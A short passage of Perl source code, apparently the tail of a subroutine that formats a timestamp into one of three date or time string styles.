878 $second=sprintf("%02d", $second);
879 $year =~ s/^.//;
880 if ($format eq "F") {
881 return $day.$months[$month].$year."-".( ($hour * 3600) + ($minute * 60) + ($second) );
882 } elsif ($format eq "S") {
883 return $months[$month]." ".$day.", 20".$year." at ".$hour.":".$minute.":".$second;
884 } else {
885 return $hour.":".$minute.":".$second;
886 }
887 }
888